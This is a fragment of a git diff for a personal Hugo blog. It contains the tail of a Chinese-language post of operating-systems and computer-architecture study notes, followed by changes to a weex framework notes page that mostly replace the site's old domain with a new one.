>外部碎片：在分配单元间的未使用内存</p><p>内部碎片：在分配单元中的未使用内存</p><p>当一个应用被批准运行在内存中时，分配一个连续的区间，来给运行的应用访问数据</p><p>动态分配的策略：当想分配某字节，先从低地址找，找到第一个被某字节大的空闲块，就使用它</p><p>动态分配的缺点就是外部碎片严重</p><p>非连续内存分配</p><p>分段Segmentation：</p><p>逻辑地址空间连续，物理地址离散</p><p>一个段表示一个内存块，一个逻辑地址空间，应用访问内存地址的时候，需要个二维的二元组</p><p>虚拟内存：</p><p>早期内存不够应用消耗，应用的规模比存储器的容器大</p><p>当应用太大，超出内存，可采用手动的覆盖(overlay) 技术，只把需要的指令和数据保存在内存中</p><p>当应用太多，超出内存，可采用自动的交换(swapping) 技术，把暂时不能执行的程序送到外存（磁盘）中</p><p>进程和线程：</p><p>进程状态(state)，线程(thread)，进程间通信(inter-process communication)，进程互斥与同步，死锁(deadlock)</p><p>进程包含正在运行的应用的全部状态信息</p><p>进程可动态化创建，结束进程，可以被独立调度并占用处理，不同的进程互不影响，可访问共享数据或者资源</p><p>进程控制块(process control block, PCB)：进程的数据结构，操作系统管理控制进程运行所用的信息集合，操作系统为每一个进程都维护了一个PCB，用来存储保存和该进程有关的状态信息</p><p>进程是操作系统最小可调度的资源单位</p><p>多个程序运行在单核心CPU服务器上，实质就是在共享时间片（时间片，操作系统将某个程序分配到某段CPU时间上，单核是无法同时运行多个程序的，只能共享时间片，而进程就是因此而生）</p><p>进程状态有3种，分别是运行，阻塞以及就绪</p><p>运行和就绪可互相转换，运行状态就是CPU指令在读取运行进程中的程序段，而就绪就是该进程在等待调用</p><p>运行可切换到阻塞状态</p><p>阻塞就是进程在等待信号（依赖的资源没有就位），阻塞状态结束后会切换到就绪状态</p><p>进程状态的切换可理解为接力赛跑，运行状态就是正在跑的运动员，而就绪状态就是在等待接力棒的运动员，而阻塞状态就是运动员需要补充休息，暂时不跑了</p><p>进程发生阻塞时，该进程将放弃CPU使用权，CPU会执行下一个就绪状态的进程</p><p>中断和中断向量</p><p>当程序发生中断（CPU暂时中断当前正在运行的程序），CPU转去处理其他的程序（也可能是处理内存的数据），当CPU处理完毕，CPU可恢复到之前被暂时中断当前正在运行的程序的状态，这个过程叫中断</p><p>中断向量就是中断程序的入口地址</p><p>中断发生时，该进程会第一时间保存被中断程序的状态，会将相关数据保存到寄存器，当CPU通过中断向量，跳转到处理中断程序中去，并且执行中断程序，然后决定下一个执行哪个程序，如果这个程序正好是之前被中断的，会从寄存器中读取相关数据。恢复到之前中断的执行状态</p><p>任何进程都需要排队等待</p><p>进程中断和进程阻塞的区别：中断是由于一些优先级比较高的需要CPU处理而被迫中断执行，而阻塞是因为进程需要一些依赖，但是依赖没有就位，需要等待就位，该进程就会进入到阻塞队列中，当依赖就位，就恢复到就绪状态，等待进程调度系统分配CPU执行权</p><p>进程（Process）是计算机中的程序关于某数据集合上的一次运行活动，是系统进行资源的分配和调度的基本单位，每个进程都拥有一个自己的地址空间，进程至少有5种基本状态，分别是：初始状态，执行状态，等待状态，就绪状态，终止状态</p><p>线程（Thread）是进程的执行实例，是程序执行的最小单位，是操作系统能够进行运算调度的最小单位，一个进程可以创建多个线程，同一个进程的线程共享进程的内存信息，同一个进程的多个可以并发执行，一个线程要执行，必须至少有一个进程</p><p>并发和并行的区别</p><p>并发：指一个时间段中有多个线程（程序）被快速的轮换执行（处于启动运行到运行完毕之间），在一个时间段中只有一个线程（程序）在执行，在宏观上感觉是多个线程同时被处理，如果多线程操作在一个cpu上，操作系统将cpu运行时间分隔为若干个时间段，将时间段分配给各个线程执行，在一个时间段的线程执行时，其他线程将处于挂起状态，这就叫并发</p><p>并行：当系统拥有多个cpu（1个以上）时，一个cpu执行一个线程，另一个线程执行另一个线程，同时进行处理，这就叫并行</p><p>并发和并行的区别：并发一个时间段只能执行一个线程（多个线程需要排队执行），并行可以在一个时间段中同时执行多个线程</p><p>当多线程程序在单核CPU上执行时，就是并发，在多核CPU执行时，就是并行，当线程数大于CPU核数，那么既有并行又有并发</p><p>进程调度的性能消耗太大，因为进程调度会导致进程中断，不但需要将数据保存在寄存器中，恢复进程还需要从寄存器中读取数据，而调度线程的性能消耗就很小，线程是进程的执行单元，一个进程中最少存在一个线程</p><p>进程的竞争和临界区</p><p>临界区：指的是共享内存中的程序片段</p><p>当两个进程同时访问了临界区，而临界区中的数据正好不能被同时访问，例如进程A读取了临界区中的某个内存，并且修改了这个内存，但是进程B正好在读取该临界区的这个内存，导致读取的数据是错的，而解决这个问题的最简单方法就是互斥，当一个进程在该临界区中时，其他进程不能进入，需要排队等待，而且不能过于长时间的占用临界区，临界区外的进程不影响到临界区内的进程</p><p>死锁：当多个进程因为竞争资源或者进程通信而导致的阻塞现象，进程在互相等待，无法进行下一步操作</p><p>严格轮换法，Peterson算法</p><p>严格轮换法简单来说就是声明一个状态，某个进程进入临界区时，状态为1，出来的时候状态为0，当其他进程看到状态为1时，等待该进程出来，看到状态为0时，进入临界区</p><p>Peterson算法是严格轮换法的优化版，实现了互斥的同时又避免的死锁</p><p>Peterson算法的思路是声明2个状态（一个是正在使用临界区的状态，另一个是想进入临界区的状态），当一个进程想进入临界区时，会检查一下其他进程是否想进入临界区，如果存在其他进程想进入临界区，则等待</p><hr><p>FHS规范（3.0），全称Filesystem Hierarchy Standard，中文翻译为文件系统层次结构标准，用于定义根目录以及一级子目录的规范，大多数Linux版本使用该标准来定义文件系统（并不一定完全符合规范，只是大概上符合）</p><p>FHS规范定义了系统各个目录应该要放什么文件数据，以及所需要的文件和目录</p><p>例如：规范某一些文件或者目录可以分享或者不可以分享给给其他人使用</p><p>FHS规范了根目录(/)，以及根目录的子目录etc（配置文件），bin（必要软件或者命令），usr（二级目录），home（当前用户的家目录），var（动态数据）</p><p>Linux文件系统&mdash;VFS（虚拟文件系统）（Linux下一切都是文件）</p><p>VFS不需要考虑不同文件系统和存储介质的差异，因为其内核抽象出了通用的文件系统接口，只要符合接口标准，一些文件或者比较特殊的文件系统都是可以兼容</p><p>VFS抽象对象，超级块：文件系统，目录项：文件的路径，索引节点：具体文件（操作文件的具体信息），文件：进程打开的文件。都有自己的接口来操作</p><p>XFS（高性能64位日志文件系统），带有日志功能防丢数据，原生提供备份工具（xfsdump/sfsrestore）</p><hr><p>图灵机和冯诺依曼模型</p><p>图灵机实质就是机器模拟人类在纸上进行数学运算，先将数值写到一个纸带的小方格中，再通过读写头来读取小方格里面的信息</p><p>这个读写头具备存储，运算，控制功能。存储读取的数据以及运算出来的数据，可执行运算指令，可识别数据是运算指令（例如加号，减号等等运算符号）还是数字</p><p>冯诺依曼模型（约定使用二进制来存储和计算数据，并且定义计算机基本结构，CPU，内存，输入设备，输出设备，总线，具备这5个部分的计算机就是冯诺依曼模型）</p><p>CPU：中央处理器，64位处理器（64位指的CPU的位宽，位宽决定了处理器一次可以计算处理多少字节的数据，64位处理器可以一次计算8个字节）</p><p>CPU内部还有寄存器（存储CPU计算时的数据），运算单元（负责计算），控制单元（控制CPU工作）</p><p>常见的寄存器有：通用寄存器（存储需要进行计算的数据），程序计数器（存储CPU要执行下一个指令的内存地址），指令寄存器（存储程序计数器指向的指令）</p><p>总线（CPU和其他设备之间的通信，总线被分为3种，地址总线（传送外部存储器（内存）的地址），控制总线（用来传输和接收控制信号），数据总线（传送内存的数据信息，数据总线又分单向传输，双向传输））</p><p>输入输出设备（输入设备通过控制总线和CPU通信，CPU处理后，将数据输出给输出设备）</p><p>线路传输：通过电压来传输数据，低电压表示0，高电压表示1，一条线路可传输1bit的数据（二进制，0或1）</p><p>32位处理器的最大寻址空间为2的32次方（4294967296，大概4GB左右），所以32位CPU（或者操作系统）只能操作4G内存（而64位理论上寻址范围高达2的64次方）</p><p>CPU执行过程：CPU读取程序计数器的值（指令内存地址），控制单元通过地址总线访问到内存，并且通过数据总线获取数据给CPU，CPU接收到数据，将该数据存储在指令寄存器，CPU处理指令寄存器的数据，确定数据的类型，如果是计算类，就交给运算单元处理，如果是存储类，就交给控制单元处理，CPU处理完毕后，程序计数器的值自增（用来表示下一条指令，自增取决于CPU的位宽，如果是64位处理器就是自增8（因为64位一次性处理8个字节数据，一个字节数据需要一个地址来存放））</p><p>CPU会不断执行该过程，直到结束（这个过程叫CPU的指令周期）</p><p>CPU的执行速度取决于指令的执行速度，而指令的执行速度取决于CPU的时钟频率（Ghz），例如我电脑的CPU是 2.10 GHz的，这个 2.10 GHz指的是1秒内可以产生2.1G次数的脉冲信号，而每一次脉冲信号的高低电平的转换就是时钟周期（振荡周期）</p><p>时钟频率越高，时钟周期越低，CPU的处理速度越快</p><hr><p>存储器</p><p>内存断电，数据会丢失，而硬盘不会，因为硬盘是持久化存储，而且CPU内部也有存储器（只不过其能存储的数据很小）</p><p>寄存器处理速度最快，再到CPU Cache（中⽂称为CPU缓存，一般分为L1,L2,L3这样的缓存层，比如我电脑的r5 3550h的一级缓存为384KB，二级缓存为2MB，三级缓存为4MB，二级缓存是一级缓存的缓冲器，三级缓存是二级缓存的缓冲器）</p><p>然后再到内存，最后是硬盘</p><p>一个主频为2.1Ghz的CPU，表示其1秒内完成2.1x10的9次方个时钟周期</p><p>CPU Cachee使用了⼀种叫 静态随机存取存储器（Static Random-Access Memory，SRAM）的存储器，一旦断电就会丢失数据</p><p>每个CPU核心都有属于自己的L1缓存和L2缓存，而L3缓存一般是多核心共享的</p><p>内存使用的是一种叫动态随机存取存储器（Dynamic Random Access Memory，DRAM）的存储器</p><p>SRAM存储1bit的数据，一般情况需要6个晶体管，而DRAM只需要一个晶体管和一个电容</p><p>硬盘就是固体硬盘（分为HDD硬盘（Hard Disk Drive）和SSD硬盘(Solid-state disk)），HDD硬盘结构和内存相似，但是和内存，缓存之类的不同的是其断电，数据不会丢失</p><p>CPU Cachee的数据是从内存中获取的，通过Cache Line（缓存块）来一块一块获取，L1缓存一般分为数据缓存和指令缓存</p><p>补码：将正数的二进制全部取反再加1，补码被用于处理负数</p><p>十进制小数转二进制用的是乘2取整法（将小数部分乘以2，作为二进制的一位，一直到不存在小数，整数还是用除2法，再合并就是小数的二进制结果）</p><p>不是所有小数都可以乘2取整的，例如0.1就不能取整，无法使用二进制精确表示0.1，只能使用近似值来表示，这将导致精度缺失的情况发生</p><hr><p>操作系统内核：连接硬件设备的桥梁，应用只需要和内核交互，无需关注硬件，内核已提供访问硬件的接口</p><p>现代操作系统内核支持进程调度，内存管理，硬件通信，提供系统接口等功能</p><p>内核权限很高，并且将内存分称2个部分，分别是内核空间（只有内核程序可访问），用户空间（专门提供给应用使用）</p><p>当程序在使用用户空间时，那么该程序在用户态执行，如果在使用内核空间，那么该程序在内核态执行</p><p>内核一般分为三种，宏内核（Linux为代表，整个内核是一个完整的程序），微内核（具备一个小内核，一些服务或者模块由用户态来管理）以及混合内核（宏内核和微内核的结合体，windows为代表）</p><hr><p>计算机的输入，输出，状态转换函数F</p><p>状态描述：一切可使用数字描述</p><p>输入：晶振（时间输入，CPU周期，时钟驱动CPU工作），外界输入设备</p><p>输出：打印机，显示器</p><p>机械计算机：差分机（巴贝奇，多项式求值）</p><p>图灵机</p><p>冯 诺依曼模型</p><hr><p>CPU的工作原理（内存，寄存器，ALU（算数逻辑单元））</p><p>数据空间地址和指令空间地址</p><hr><p>指令</p><p>通过指令来控制计算机工作，CPU被时钟驱动，并且不断读取指针指向的指令，从内存读取指令然后执行指令</p><p>不同的cpu架构使用不同的指令集，常见的指令集有RISC（Reduced Instruction Set Computing，精简指令集），CISC（Complex Instruction Set Computing，复杂指令集）</p><p>RISC中代表的有arm指令集，CISC中代表的有x86指令集</p><p>RISC的特点就是CPU单元电路少，面积小，功耗低（只进行二进制处理器指令）</p><p>CISC的特定就是CPU单元电路多，面积大，功耗大（进行复杂指令）</p><hr><p>寻址模式，浮点数，指令分类</p><p>寻址模式（指令集的一部分，表示指令有哪些操作符，地址应该怎么计算）</p><p>寄存器寻址，立即寻址，偏移量寻址（基地址，偏移量），PC相对寻址</p><p>内存读写（load/store指令），加减乘除（add，sub，div，mult）。</p><hr><p>操作系统的并发性（2个事件及2个以上事件在一段时间内发生，就叫并发，并发是单核CPU的知识点），共享性（操作系统的资源可以提供给多个并发程序使用，互斥共享，同时访问（一段时间内并发访问资源）），虚拟性（将物理设备虚拟成多个逻辑实体，虚拟技术有时分复用（分时使用硬件资源，例如虚拟处理器技术，就是将多个程序分时复用处理器资源，虚拟设备技术，就是将物理设备虚拟成多个逻辑设备，一个程序使用一个逻辑设备，通过逻辑设备来并发访问真实的物理设备），空分复用技术（虚拟磁盘技术（将物理磁盘虚拟成多个逻辑盘），虚拟内存技术（可使用比实际内存更大的内存空间））），异步性（允许多进程并发执行）</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/>操作系统</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/116/><span class=title>« Prev</span><br><span>weex跨平台框架学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/114/><span class=title>Next »</span><br><span>简单使用mocha测试框架</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/116/index.html b/posts/116/index.html
index 0cbaed0f..2d8c9563 100644
--- a/posts/116/index.html
+++ b/posts/116/index.html
@@ -20,8 +20,8 @@
 weex compile 目录或者文件 打包文件存放的目录或者文件 -m
 注意：Weex目前只支持像素值，不支持相对单位(em、rem)，也不支持百分比，默认设计标准为750px，当真实像素不是750px的时候，会自动将设计标准映射到真实的尺寸中，这个映射比率叫scale，计算公式为：当前屏幕尺寸/750
 不支持层 z-index，具体层级叠加根据编写顺序显示，不支持使用border创建三角形
-运行流程：weex生成js bundle，然后通过网络等等方式将js bundle传递到客户端，在客户端中，weexSDK会在用户打开一个weex页面的时候执行对应的js bundle，然后命令发送到native端进行处理"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/116/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="weex跨平台框架学习笔记"><meta property="og:description" content="weex是阿里巴巴在Qcon大会上宣布开源的一套跨平台移动开发工具
+运行流程：weex生成js bundle，然后通过网络等等方式将js bundle传递到客户端，在客户端中，weexSDK会在用户打开一个weex页面的时候执行对应的js bundle，然后命令发送到native端进行处理"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/116/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="weex跨平台框架学习笔记"><meta property="og:description" content="weex是阿里巴巴在Qcon大会上宣布开源的一套跨平台移动开发工具
 支持ES6，跨平台，体积小，性能优异，编写规范
 官网：http://emas.weex.io/zh/
 weex调试工具：weexplayground（可以用来测试，要同局域网下）
@@ -43,7 +43,7 @@
 weex compile 目录或者文件 打包文件存放的目录或者文件 -m
 注意：Weex目前只支持像素值，不支持相对单位(em、rem)，也不支持百分比，默认设计标准为750px，当真实像素不是750px的时候，会自动将设计标准映射到真实的尺寸中，这个映射比率叫scale，计算公式为：当前屏幕尺寸/750
 不支持层 z-index，具体层级叠加根据编写顺序显示，不支持使用border创建三角形
-运行流程：weex生成js bundle，然后通过网络等等方式将js bundle传递到客户端，在客户端中，weexSDK会在用户打开一个weex页面的时候执行对应的js bundle，然后命令发送到native端进行处理"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/116/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-10-10T14:00:00+00:00"><meta property="article:modified_time" content="2021-10-10T14:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="weex跨平台框架学习笔记"><meta name=twitter:description content="weex是阿里巴巴在Qcon大会上宣布开源的一套跨平台移动开发工具
+运行流程：weex生成js bundle，然后通过网络等等方式将js bundle传递到客户端，在客户端中，weexSDK会在用户打开一个weex页面的时候执行对应的js bundle，然后命令发送到native端进行处理"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/116/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-10-10T14:00:00+00:00"><meta property="article:modified_time" content="2021-10-10T14:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="weex跨平台框架学习笔记"><meta name=twitter:description content="weex是阿里巴巴在Qcon大会上宣布开源的一套跨平台移动开发工具
 支持ES6，跨平台，体积小，性能优异，编写规范
 官网：http://emas.weex.io/zh/
 weex调试工具：weexplayground（可以用来测试，要同局域网下）
@@ -65,8 +65,8 @@
 weex compile 目录或者文件 打包文件存放的目录或者文件 -m
 注意：Weex目前只支持像素值，不支持相对单位(em、rem)，也不支持百分比，默认设计标准为750px，当真实像素不是750px的时候，会自动将设计标准映射到真实的尺寸中，这个映射比率叫scale，计算公式为：当前屏幕尺寸/750
 不支持层 z-index，具体层级叠加根据编写顺序显示，不支持使用border创建三角形
-运行流程：weex生成js bundle，然后通过网络等等方式将js bundle传递到客户端，在客户端中，weexSDK会在用户打开一个weex页面的时候执行对应的js bundle，然后命令发送到native端进行处理"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"weex跨平台框架学习笔记","item":"https://xiaochenabc123.github.io/posts/116/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"weex跨平台框架学习笔记","name":"weex跨平台框架学习笔记","description":"weex是阿里巴巴在Qcon大会上宣布开源的一套跨平台移动开发工具\n支持ES6，跨平台，体积小，性能优异，编写规范\n官网：http://emas.weex.io/zh/\nweex调试工具：weexplayground（可以用来测试，要同局域网下）\n安装\nnpm install -g weex-toolkit\n检查weex\nweex -v\n初始化项目\nweex init demo\nnpm install\n或者\nweex create demo\n运行\nnpm run dev\nnpm run server\n编译js bundle\nweex compile 目录或者文件 打包文件存放的目录或者文件\n压缩编译\nweex compile 目录或者文件 打包文件存放的目录或者文件 -m\n注意：Weex目前只支持像素值，不支持相对单位(em、rem)，也不支持百分比，默认设计标准为750px，当真实像素不是750px的时候，会自动将设计标准映射到真实的尺寸中，这个映射比率叫scale，计算公式为：当前屏幕尺寸/750\n不支持层 z-index，具体层级叠加根据编写顺序显示，不支持使用border创建三角形\n运行流程：weex生成js bundle，然后通过网络等等方式将js bundle传递到客户端，在客户端中，weexSDK会在用户打开一个weex页面的时候执行对应的js bundle，然后命令发送到native端进行处理","keywords":["weex"],"articleBody":"weex是阿里巴巴在Qcon大会上宣布开源的一套跨平台移动开发工具\n支持ES6，跨平台，体积小，性能优异，编写规范\n官网：http://emas.weex.io/zh/\nweex调试工具：weexplayground（可以用来测试，要同局域网下）\n安装\nnpm install -g weex-toolkit\n检查weex\nweex -v\n初始化项目\nweex init demo\nnpm install\n或者\nweex create demo\n运行\nnpm run dev\nnpm run server\n编译js bundle\nweex compile 目录或者文件 打包文件存放的目录或者文件\n压缩编译\nweex compile 目录或者文件 打包文件存放的目录或者文件 -m\n注意：Weex目前只支持像素值，不支持相对单位(em、rem)，也不支持百分比，默认设计标准为750px，当真实像素不是750px的时候，会自动将设计标准映射到真实的尺寸中，这个映射比率叫scale，计算公式为：当前屏幕尺寸/750\n不支持层 z-index，具体层级叠加根据编写顺序显示，不支持使用border创建三角形\n运行流程：weex生成js bundle，然后通过网络等等方式将js bundle传递到客户端，在客户端中，weexSDK会在用户打开一个weex页面的时候执行对应的js bundle，然后命令发送到native端进行处理\n","wordCount":"48","inLanguage":"en","datePublished":"2021-10-10T14:00:00Z","dateModified":"2021-10-10T14:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/116/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>weex跨平台框架学习笔记</h1><div class=post-meta><span title='2021-10-10 14:00:00 +0000 UTC'>2021-10-10</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/weex%e8%b7%a8%e5%b9%b3%e5%8f%b0%e6%a1%86%e6%9e%b6%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" 